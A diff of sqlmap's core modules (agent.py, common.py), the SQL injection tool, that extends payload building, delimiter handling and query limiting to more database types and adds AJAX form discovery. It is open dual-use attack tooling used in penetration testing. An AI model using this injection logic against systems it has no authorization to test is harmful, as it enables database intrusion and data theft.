 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
+from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -121,7 +125,7 @@ class Agent(object):
             paramString = origValue
             origValue = origValue.split(kb.customInjectionMark)[0]
             if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
-                origValue = origValue.split('>')[-1]
+                origValue = re.split(r"['\">]", origValue)[-1]
             elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
                 origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
             else:
@@ -176,12 +180,18 @@ class Agent(object):
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
+
             if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
-                newValue = '"%s"' % newValue
+                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
             elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
-                newValue = "'%s'" % newValue
+                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
-            newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
+            else:
-            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
+                newValue = self.addPayloadDelimiters(newValue)
+
+            if newValue:
+                newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
+                retVal = paramString.replace(_, newValue)
+
             retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -243,7 +253,7 @@ class Agent(object):
 
         # If we are replacing (<where>) the parameter original value with
         # our payload do not prepend with the prefix
-        if where == PAYLOAD.WHERE.REPLACE:
+        if where == PAYLOAD.WHERE.REPLACE and not conf.prefix:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
             query = ""
 
         # If the technique is stacked queries (<stype>) do not put a space
@@ -290,8 +300,8 @@ class Agent(object):
             where = getTechniqueData().where if where is None else where
             comment = getTechniqueData().comment if comment is None else comment
 
-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
+        if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
-            comment = queries[DBMS.ACCESS].comment.query
+            comment = queries[Backend.getIdentifiedDbms()].comment.query
 
         if comment is not None:
             expression += comment
@@ -377,6 +387,11 @@ class Agent(object):
             for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
                 payload = payload.replace(_, randomStr())
 
+            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
+                payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
+                payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
+                payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
+
         return payload
 
     def getComment(self, request):
@@ -442,12 +457,12 @@ class Agent(object):
             else:
                 if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                     nulledCastedField = rootQuery.cast.query % field
-                if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+                if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
                     nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
                 else:
                     nulledCastedField = rootQuery.isnull.query % nulledCastedField
 
-            kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',')
+            kb.binaryField = conf.binaryFields and field in conf.binaryFields
             if conf.hexConvert or kb.binaryField:
                 nulledCastedField = self.hexConvertField(nulledCastedField)
 
@@ -644,7 +659,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -933,10 +948,28 @@ class Agent(object):
         fromFrom = limitedQuery[fromIndex + 1:]
         orderBy = None
 
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
+        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
+            limitedQuery += " %s" % limitStr
+
+        elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
+            limitedQuery += " %s" % limitStr
+
+        elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
+            if query.startswith("SELECT ") and field is not None and field in query:
+                original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
+                for part in original.split(','):
+                    if re.search(r"\b%s\b" % re.escape(field), part):
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
+                        limitedQuery = replacement
+                        break
+
         elif Backend.isDbms(DBMS.HSQLDB):
             match = re.search(r"ORDER BY [^ ]+", limitedQuery)
             if match:
@@ -1032,12 +1065,15 @@ class Agent(object):
     def forgeQueryOutputLength(self, expression):
         lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
         select = re.search(r"\ASELECT\s+", expression, re.I)
+        selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
         selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
         selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
 
         _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
 
-        if selectTopExpr or selectMinMaxExpr:
+        if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
+            lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
+        elif selectTopExpr or selectMinMaxExpr:
             lengthExpr = lengthQuery % ("(%s)" % expression)
         elif select:
             lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
@@ -1111,7 +1147,12 @@ class Agent(object):
 
     def whereQuery(self, query):
         if conf.dumpWhere and query:
-            prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
+            match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+            if match:
+                suffix = match.group(0)
+                prefix = query[:-len(suffix)]
+            else:
+                prefix, suffix = query, ""
 
             if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
                 prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
@@ -1120,7 +1161,9 @@ class Agent(object):
             else:
                 prefix += " WHERE %s" % conf.dumpWhere
 
-            query = "%s ORDER BY %s" % (prefix, suffix) if suffix else prefix
+            query = prefix
+            if suffix:
+                query += suffix
 
         return query
 

lib/core/bigarray.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/common.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -40,7 +40,6 @@ import unicodedata
 from difflib import SequenceMatcher
 from math import sqrt
 from optparse import OptionValueError
-from xml.dom import minidom
 from xml.sax import parse
 from xml.sax import SAXParseException
 
@@ -130,6 +129,7 @@ from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import HTTP_CHUNKED_SPLIT_KEYWORDS
+from lib.core.settings import IGNORE_PARAMETERS
 from lib.core.settings import IGNORE_SAVE_OPTIONS
 from lib.core.settings import INFERENCE_UNKNOWN_CHAR
 from lib.core.settings import IP_ADDRESS_REGEX
@@ -138,6 +138,7 @@ from lib.core.settings import IS_TTY
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
 from lib.core.settings import LOCALHOST
+from lib.core.settings import MAX_INT
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
 from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
 from lib.core.settings import MIN_TIME_RESPONSES
@@ -146,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_AMP_MARKER
 from lib.core.settings import PARAMETER_SEMICOLON_MARKER
+from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -1079,7 +1081,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
         logger.debug(debugMsg)
 
     if retVal is None:
-        if checkBatch and conf.get("batch") or conf.get("api"):
+        if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
             if isListLike(default):
                 options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
             elif default:
@@ -1103,7 +1105,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                 dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
                 kb.prependFlag = False
 
-                retVal = _input().strip() or default
+                retVal = _input()
+                if not retVal:  # Note: Python doesn't print newline on empty input
+                    dataToStdout("\n")
+                retVal = retVal.strip() or default
                 retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
             except:
                 try:
@@ -1122,8 +1127,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
 
     if boolean:
         retVal = retVal.strip().upper() == 'Y'
+    else:
+        retVal = retVal or ""
 
-    return retVal or ""
+    return retVal
 
 def setTechnique(technique):
     """
@@ -1231,7 +1238,7 @@ def checkPipedInput():
     # Reference: https://stackoverflow.com/a/33873570
     """
 
-    return not os.isatty(sys.stdin.fileno())
+    return not os.isatty(sys.stdin.fileno()) if hasattr(sys.stdin, "fileno") else False
 
 def isZipFile(filename):
     """
@@ -1245,6 +1252,22 @@ def isZipFile(filename):
 
     return openFile(filename, "rb", encoding=None).read(len(ZIP_HEADER)) == ZIP_HEADER
 
+def isDigit(value):
+    """
+    Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
+
+    >>> u'\xb2'.isdigit()
+    True
+    >>> isDigit(u'\xb2')
+    False
+    >>> isDigit('123456')
+    True
+    >>> isDigit('3b3')
+    False
+    """
+
+    return re.search(r"\A[0-9]+\Z", value or "") is not None
+
 def checkFile(filename, raiseOnError=True):
     """
     Checks for file existence and readability
@@ -1355,7 +1378,6 @@ def setPaths(rootPath):
     paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
     paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
     paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
-    paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
 
     paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
     paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
@@ -1376,7 +1398,6 @@ def setPaths(rootPath):
     paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
     paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
     paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
-    paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
     paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
     paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
     paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
@@ -1441,7 +1462,7 @@ def parseTargetDirect():
     remote = False
 
     for dbms in SUPPORTED_DBMS:
-        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
+        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
 
         if details:
             conf.dbms = details.group("dbms")
@@ -1626,7 +1647,7 @@ def parseTargetUrl():
         if '=' not in urlSplit.query:
             conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
         else:
-            conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+            conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
 
     if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
         debugMsg = "setting the HTTP Referer header to the target URL"
@@ -1680,7 +1701,7 @@ def expandAsteriskForColumns(expression):
         if db is None:
             if expression != conf.sqlQuery:
                 conf.db = db
-            else:
+            elif conf.db:
                 expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
         else:
             conf.db = db
@@ -1953,7 +1974,7 @@ def safeFilepathEncode(filepath):
     retVal = filepath
 
     if filepath and six.PY2 and isinstance(filepath, six.text_type):
-        retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
+        retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
 
     return retVal
 
@@ -2001,6 +2022,8 @@ def safeStringFormat(format_, params):
         if retVal.count("%s", start, end) == len(params):
             for param in params:
                 index = retVal.find("%s", start)
+                if isinstance(param, six.string_types):
+                    param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
                 retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
         else:
             if any('%s' in _ for _ in conf.parameters.values()):
@@ -2026,7 +2049,7 @@ def safeStringFormat(format_, params):
                 else:
                     break
 
-    retVal = getText(retVal)
+    retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
 
     return retVal
 
@@ -2298,16 +2321,6 @@ def readCachedFileContent(filename, mode="rb"):
 
     return kb.cache.content[filename]
 
-def readXmlFile(xmlFile):
-    """
-    Reads XML file content and returns its DOM representation
-    """
-
-    checkFile(xmlFile)
-    retVal = minidom.parse(xmlFile).documentElement
-
-    return retVal
-
 def average(values):
     """
     Computes the arithmetic mean of a list of numbers.
@@ -2746,7 +2759,7 @@ def findMultipartPostBoundary(post):
 
     return retVal
 
-def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
+def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
     """
     URL decodes given value
 
@@ -2986,9 +2999,11 @@ def isNumPosStrValue(value):
     False
     >>> isNumPosStrValue('-2')
     False
+    >>> isNumPosStrValue('100000000000000000000')
+    False
     """
 
-    return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
+    return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
 
 @cachedmethod
 def aliasToDbmsEnum(dbms):
@@ -3178,7 +3193,10 @@ def isDBMSVersionAtLeast(minimum):
                 parts[1] = filterStringValue(parts[1], '[0-9]')
                 version = '.'.join(parts)
 
-            version = float(filterStringValue(version, '[0-9.]')) + correction
+            try:
+                version = float(filterStringValue(version, '[0-9.]')) + correction
+            except ValueError:
+                return None
 
             if isinstance(minimum, six.string_types):
                 if '.' in minimum:
@@ -3464,6 +3482,23 @@ def flattenValue(value):
         else:
             yield i
 
+def joinValue(value, delimiter=','):
+    """
+    Returns a value consisting of joined parts of a given value
+
+    >>> joinValue(['1', '2'])
+    '1,2'
+    >>> joinValue('1')
+    '1'
+    """
+
+    if isListLike(value):
+        retVal = delimiter.join(value)
+    else:
+        retVal = value
+
+    return retVal
+
 def isListLike(value):
     """
     Returns True if the given value is a list-like instance
@@ -3543,8 +3578,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
 
     >>> "openFile" in openFile(__file__).read()
     True
+    >>> b"openFile" in openFile(__file__, "rb", None).read()
+    True
     """
 
+    # Reference: https://stackoverflow.com/a/37462452
+    if 'b' in mode:
+        buffering = 0
+
     if filename == STDIN_PIPE_DASH:
         if filename not in kb.cache.content:
             kb.cache.content[filename] = sys.stdin.read()
@@ -3574,16 +3615,20 @@ def decodeIntToUnicode(value):
         try:
             if value > 255:
                 _ = "%x" % value
+
                 if len(_) % 2 == 1:
                     _ = "0%s" % _
+
                 raw = decodeHex(_)
 
                 if Backend.isDbms(DBMS.MYSQL):
+                    # Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
                     # Note: https://github.com/sqlmapproject/sqlmap/issues/1531
                     retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
                 elif Backend.isDbms(DBMS.MSSQL):
-                    retVal = getUnicode(raw, "UTF-16-BE")   # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
+                    # Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
-                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
+                    retVal = getUnicode(raw, "UTF-16-BE")
+                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE):     # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
                     retVal = _unichr(value)
                 else:
                     retVal = getUnicode(raw, conf.encoding)
@@ -3787,6 +3832,8 @@ def maskSensitiveData(msg):
 
     >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
     True
+    >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
+    True
     """
 
     retVal = getUnicode(msg)
@@ -4001,6 +4048,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
     Returns a safe representation of SQL identificator name (internal data format)
 
     # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> getText(safeSQLIdentificatorNaming("begin"))
+    '[begin]'
+    >>> getText(safeSQLIdentificatorNaming("foobar"))
+    'foobar'
+    >>> kb.forceDbms = popValue()
     """
 
     retVal = name
@@ -4015,11 +4070,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
         if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
             retVal = unsafeSQLIdentificatorNaming(retVal)
 
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
+            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                 retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
                 retVal = "\"%s\"" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
+            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                 retVal = "\"%s\"" % retVal.upper()
             elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                 if isTable:
@@ -4040,16 +4095,24 @@ def safeSQLIdentificatorNaming(name, isTable=False):
 def unsafeSQLIdentificatorNaming(name):
     """
     Extracts identificator's name from its safe SQL representation
+
+    >>> pushValue(kb.forcedDbms)
+    >>> kb.forcedDbms = DBMS.MSSQL
+    >>> getText(unsafeSQLIdentificatorNaming("[begin]"))
+    'begin'
+    >>> getText(unsafeSQLIdentificatorNaming("foobar"))
+    'foobar'
+    >>> kb.forceDbms = popValue()
     """
 
     retVal = name
 
     if isinstance(name, six.string_types):
-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
             retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
             retVal = name.replace("\"", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
             retVal = name.replace("\"", "").upper()
         elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
             retVal = name.replace("[", "").replace("]", "")
@@ -4299,11 +4362,16 @@ def asciifyUrl(url, forceQuote=False):
     if all(char in string.printable for char in url):
         return getText(url)
 
+    hostname = parts.hostname
+
+    if isinstance(hostname, six.binary_type):
+        hostname = getUnicode(hostname)
+
     # idna-encode domain
     try:
-        hostname = parts.hostname.encode("idna")
+        hostname = hostname.encode("idna")
-    except LookupError:
+    except:
-        hostname = parts.hostname.encode("punycode")
+        hostname = hostname.encode("punycode")
 
     # UTF8-quote the other parts. We check each part individually if
     # if needs to be quoted - that should catch some additional user
@@ -4400,9 +4468,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     try:
         forms = ParseResponse(response, backwards_compat=False)
     except ParseError:
-        if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
+        if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
-            warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
+            dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
-            logger.warning(warnMsg)
+            logger.debug(dbgMsg)
             filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
 
             if filtered and filtered != content:
@@ -4417,54 +4485,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
     except:
         pass
 
-    if forms:
+    for form in forms or []:
-        for form in forms:
+        try:
-            try:
+            for control in form.controls:
-                for control in form.controls:
+                if hasattr(control, "items") and not any((control.disabled, control.readonly)):
-                    if hasattr(control, "items") and not any((control.disabled, control.readonly)):
+                    # if control has selectable items select first non-disabled
-                        # if control has selectable items select first non-disabled
+                    for item in control.items:
-                        for item in control.items:
+                        if not item.disabled:
-                            if not item.disabled:
+                            if not item.selected:
-                                if not item.selected:
+                                item.selected = True
-                                    item.selected = True
+                            break
-                                break
 
-                if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
+            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
-                    dbgMsg = "skipping '%s'" % form.action
+                dbgMsg = "skipping '%s'" % form.action
-                    logger.debug(dbgMsg)
+                logger.debug(dbgMsg)
-                    continue
+                continue
 
-                request = form.click()
+            request = form.click()
-            except (ValueError, TypeError) as ex:
+        except (ValueError, TypeError) as ex:
-                errMsg = "there has been a problem while "
+            errMsg = "there has been a problem while "
-                errMsg += "processing page forms ('%s')" % getSafeExString(ex)
+            errMsg += "processing page forms ('%s')" % getSafeExString(ex)
-                if raise_:
+            if raise_:
-                    raise SqlmapGenericException(errMsg)
+                raise SqlmapGenericException(errMsg)
-                else:
-                    logger.debug(errMsg)
             else:
-                url = urldecode(request.get_full_url(), kb.pageEncoding)
+                logger.debug(errMsg)
-                method = request.get_method()
+        else:
-                data = request.data
+            url = urldecode(request.get_full_url(), kb.pageEncoding)
-                data = urldecode(data, kb.pageEncoding, spaceplus=False)
+            method = request.get_method()
+            data = request.data
+            data = urldecode(data, kb.pageEncoding, spaceplus=False)
 
-                if not data and method and method.upper() == HTTPMETHOD.POST:
+            if not data and method and method.upper() == HTTPMETHOD.POST:
-                    debugMsg = "invalid POST form with blank data detected"
+                debugMsg = "invalid POST form with blank data detected"
-                    logger.debug(debugMsg)
+                logger.debug(debugMsg)
-                    continue
+                continue
 
-                # flag to know if we are dealing with the same target host
+            # flag to know if we are dealing with the same target host
-                _ = checkSameHost(response.geturl(), url)
+            _ = checkSameHost(response.geturl(), url)
 
-                if conf.scope:
+            if data:
-                    if not re.search(conf.scope, url, re.I):
+                data = data.lstrip("&=").rstrip('&')
-                        continue
+
-                elif not _:
+            if conf.scope and not re.search(conf.scope, url, re.I):
-                    continue
+                continue
-                else:
+            elif data and not re.sub(r"(%s)=[^&]*&?" % '|'.join(IGNORE_PARAMETERS), "", data):
-                    target = (url, method, data, conf.cookie, None)
+                continue
-                    retVal.add(target)
+            elif not _:
-    else:
+                continue
+            else:
+                target = (url, method, data, conf.cookie, None)
+                retVal.add(target)
+
+    for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
+        data = ""
+
+        for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
+            data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
+
+        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    for match in re.finditer(r"(?s)(\w+)\.open\(['\"]POST['\"],\s*['\"]([^'\"]+)['\"]\).*?\1\.send\(([^)]+)\)", content):
+        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
+        data = match.group(3)
+
+        data = re.sub(r"\s*\+\s*[^\s'\"]+|[^\s'\"]+\s*\+\s*", "", data)
+
+        data = data.strip("['\"]")
+        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
+
+    if not retVal and not conf.crawlDepth:
         errMsg = "there were no forms found at the given target URL"
         if raise_:
             raise SqlmapGenericException(errMsg)
@@ -4665,18 +4756,19 @@ def decodeDbmsHexValue(value, raw=False):
             else:
                 retVal = decodeHex(value)
 
-            if not kb.binaryField and not raw:
+            if not raw:
